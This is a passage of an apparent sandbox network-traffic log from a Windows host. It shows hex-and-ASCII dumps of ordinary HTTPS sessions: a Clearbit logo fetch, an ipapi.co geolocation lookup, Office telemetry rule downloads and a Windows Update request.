2024-12-03 16:54:08 UTC	365	IN	Data Raw: 61 6c 22 3a 20 22 31 30 30 36 39 22 2c 0a 20 20 20 20 22 6c 61 74 69 74 75 64 65 22 3a 20 34 30 2e 37 37 38 2c 0a 20 20 20 20 22 6c 6f 6e 67 69 74 75 64 65 22 3a 20 2d 37 33 2e 39 38 38 34 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 0a 20 20 20 20 22 75 74 63 5f 6f 66 66 73 65 74 22 3a 20 22 2d 30 35 30 30 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 61 6c 6c 69 6e 67 5f 63 6f 64 65 22 3a 20 22 2b 31 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 22 3a 20 22 55 53 44 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 6e 61 6d 65 22 3a 20 22 44 6f 6c 6c 61 72 22 2c 0a 20 20 20 20 22 6c 61 6e 67 75 61 67 65 73 22 3a 20 22 65 6e 2d 55 53 2c 65 73 2d 55 53 2c 68 61 77 2c 66 72 22 2c 0a Data Ascii: al": "10069", "latitude": 40.778, "longitude": -73.9884, "timezone": "America/New_York", "utc_offset": "-0500", "country_calling_code": "+1", "currency": "USD", "currency_name": "Dollar", "languages": "en-US,es-US,haw,fr",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49779	13.227.8.47	443	8404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:09 UTC	357	OUT	GET /wes.org?size=256 HTTP/1.1 Host: logo.clearbit.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 16:54:10 UTC	555	IN	HTTP/1.1 200 OK Content-Type: image/png Transfer-Encoding: chunked Connection: close access-control-allow-origin: * Cache-Control: public, max-age=2592000 Date: Tue, 03 Dec 2024 16:54:07 GMT x-envoy-response-flags: - Server: Clearbit strict-transport-security: max-age=63072000; includeSubDomains; preload x-content-type-options: nosniff X-Cache: Hit from cloudfront Via: 1.1 28067c3a345fdd5277603bfdb86abe14.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-C1 X-Amz-Cf-Id: XlZ07m2_QRuxxdLUEIhwAC2A2Kpd8J-fh7Qe0E_CcE_Lx0BcRkAlJw== Age: 3
2024-12-03 16:54:10 UTC	16384	IN	Data Raw: 35 37 62 63 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c8 00 00 00 c8 08 02 00 00 00 22 3a 39 c9 00 00 57 83 49 44 41 54 78 9c ec bd 07 94 1d d7 79 26 f8 df 58 e1 a5 ce 40 37 80 6e 64 90 20 40 8a 00 25 e6 20 92 92 15 a8 68 9b 96 3d 92 65 cb 41 63 49 f6 38 48 e7 8c cf 78 66 d6 7b 76 ce ae 2d ed 1e 8f 3c 96 b3 25 4b 2b da 56 8e b6 c4 28 89 34 09 12 20 48 10 20 40 04 22 77 23 75 7c a9 c2 4d 7b ee bd 0f af 1f 41 01 63 d0 dd 2b 6a fc fe 53 e7 a1 f0 ba 5e d5 ad 5b ff fd ee f7 87 fb 17 1d fb a3 7b a1 2b 5d 59 68 c1 3f ea 06 74 e5 7f 4d e9 2a 56 57 16 45 ba 8a d5 95 45 91 ae 62 75 65 51 a4 ab 58 5d 59 14 e9 2a 56 57 16 45 ba 8a d5 95 45 91 ae 62 75 65 51 a4 ab 58 5d 59 14 e9 2a 56 57 16 45 ba 8a d5 95 45 91 ae 62 75 65 51 a4 ab 58 5d 59 14 e9 Data Ascii: 57bcPNGIHDR":9WIDATxy&X@7nd @% h=eAcI8Hxf{v-<%K+V(4 H @"w#u\|M{Ac+jS^[{+]Yh?tMVWEEbueQX]YVWEEbueQX]Y*VWEEbueQX]Y
2024-12-03 16:54:10 UTC	6084	IN	Data Raw: 6c 87 61 c0 cf 98 93 bb 9a e3 22 96 14 d3 82 a6 58 b6 32 93 bc 93 cc a7 63 f8 97 71 ce 06 68 d7 e9 c3 67 cc 5c 81 16 02 b7 a8 15 73 94 a8 e4 c8 e4 44 ce 2d 14 21 82 98 c4 58 22 24 34 e7 6c 65 1e 96 7b 96 8e c5 03 b7 dd 7a db e6 65 2b ed 43 4a eb 2c 08 a0 21 21 08 3e 71 dd bb f1 75 3f c5 5b a9 1c d2 82 b6 76 09 5c 52 03 63 02 63 05 2a 74 9d 2c 48 8e 11 3e 1b ea 03 cf 6d fb e8 2d 6f 1b ee 1d 1e b6 bc 40 fd 34 5e 49 36 af 85 cd 6f 51 c6 6a b0 35 20 30 84 61 38 3c b0 34 93 59 e8 ea 9a cc 72 04 a0 bf 07 67 bf f5 f0 b7 9f dc f3 78 82 93 b0 14 d6 6a b5 32 67 48 c8 1c 24 c3 48 53 9a c8 ac ac 79 b9 5c 5e 72 5c 7f e4 d7 3f b2 01 06 41 18 9f df 1e e7 14 d2 24 2b db ee f8 42 6d d7 df 3e f1 c5 69 9a e6 3a 1f 0c 7b 1a 8d 46 6e 0c 65 d4 d5 63 81 85 d2 ac 05 cb 79 3f 8f Data Ascii: la"X2cqhg\sD-!X"$4le{ze+CJ,!!>qu?[v\Rcc*t,H>m-o@4^I6oQj5 0a8<4Yrgxj2gH$HSy\^r\?A$+Bm>i:{Fnecy?
2024-12-03 16:54:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49780	172.67.69.226	443	8404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:10 UTC	337	OUT	GET /json/ HTTP/1.1 Host: ipapi.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 16:54:11 UTC	919	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:10 GMT Content-Type: application/json Content-Length: 764 Connection: close Allow: GET, OPTIONS, POST, OPTIONS, HEAD X-Frame-Options: DENY Vary: Host, origin X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BhSwJvttNIRzlvoQMjs7G0SK7Yg1V%2FSPxrdRr1%2FGmzJRmHya88x6o4%2F9oYHhr%2FI5JNKlyBHhG3BHVWbJkeGC4kKK6Kj5PTRFbBbipTLMTUHWnwUDMrbpNgnG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec513bd09cf3344-EWR server-timing: cfL4;desc="?proto=TCP&rtt=8337&min_rtt=6187&rtt_var=6622&sent=5&recv=7&lost=0&retrans=0&sent_bytes=139&recv_bytes=877&delivery_rate=62409&cwnd=198&unsent_bytes=0&cid=bf7546777bcbbc36&ts=608&x=0"
2024-12-03 16:54:11 UTC	450	IN	Data Raw: 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 2c 0a 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 22 76 65 72 73 69 6f 6e 22 3a 20 22 49 50 76 34 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 5f 63 6f 64 65 22 3a 20 22 4e 59 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 20 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 63 6f 75 Data Ascii: { "ip": "8.46.123.228", "network": "8.46.123.0/24", "version": "IPv4", "city": "New York City", "region": "New York", "region_code": "NY", "country": "US", "country_name": "United States", "country_code": "US", "cou
2024-12-03 16:54:11 UTC	314	IN	Data Raw: 65 22 3a 20 2d 37 33 2e 39 38 38 34 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 0a 20 20 20 20 22 75 74 63 5f 6f 66 66 73 65 74 22 3a 20 22 2d 30 35 30 30 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 61 6c 6c 69 6e 67 5f 63 6f 64 65 22 3a 20 22 2b 31 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 22 3a 20 22 55 53 44 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 6e 61 6d 65 22 3a 20 22 44 6f 6c 6c 61 72 22 2c 0a 20 20 20 20 22 6c 61 6e 67 75 61 67 65 73 22 3a 20 22 65 6e 2d 55 53 2c 65 73 2d 55 53 2c 68 61 77 2c 66 72 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 61 72 65 61 22 3a 20 39 36 32 39 30 39 31 2e 30 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 70 6f 70 75 6c 61 74 Data Ascii: e": -73.9884, "timezone": "America/New_York", "utc_offset": "-0500", "country_calling_code": "+1", "currency": "USD", "currency_name": "Dollar", "languages": "en-US,es-US,haw,fr", "country_area": 9629091.0, "country_populat

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:43 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:43 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:43 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 02 Dec 2024 13:20:33 GMT ETag: "0x8DD12D41A424BC1" x-ms-request-id: 300ecd5c-a01e-0050-4036-45db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165443Z-174f7845968swgbqhC1EWRmnb400000016ag00000000hte0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:43 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-03 16:54:43 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-03 16:54:44 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-03 16:54:44 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-03 16:54:44 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-03 16:54:44 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-03 16:54:44 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-03 16:54:44 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-03 16:54:44 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-03 16:54:44 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49782	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:44 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=DCw7aGoODMNBElg&MD=bC+8hMUv HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-03 16:54:45 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: a292dc70-55fd-4b7e-9881-762db3452255 MS-RequestId: f3a3e5a0-f5b7-4a15-94b0-c949e5b399d9 MS-CV: J78f672+kkOiFgYa.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 03 Dec 2024 16:54:44 GMT Connection: close Content-Length: 30005
2024-12-03 16:54:45 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-03 16:54:45 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 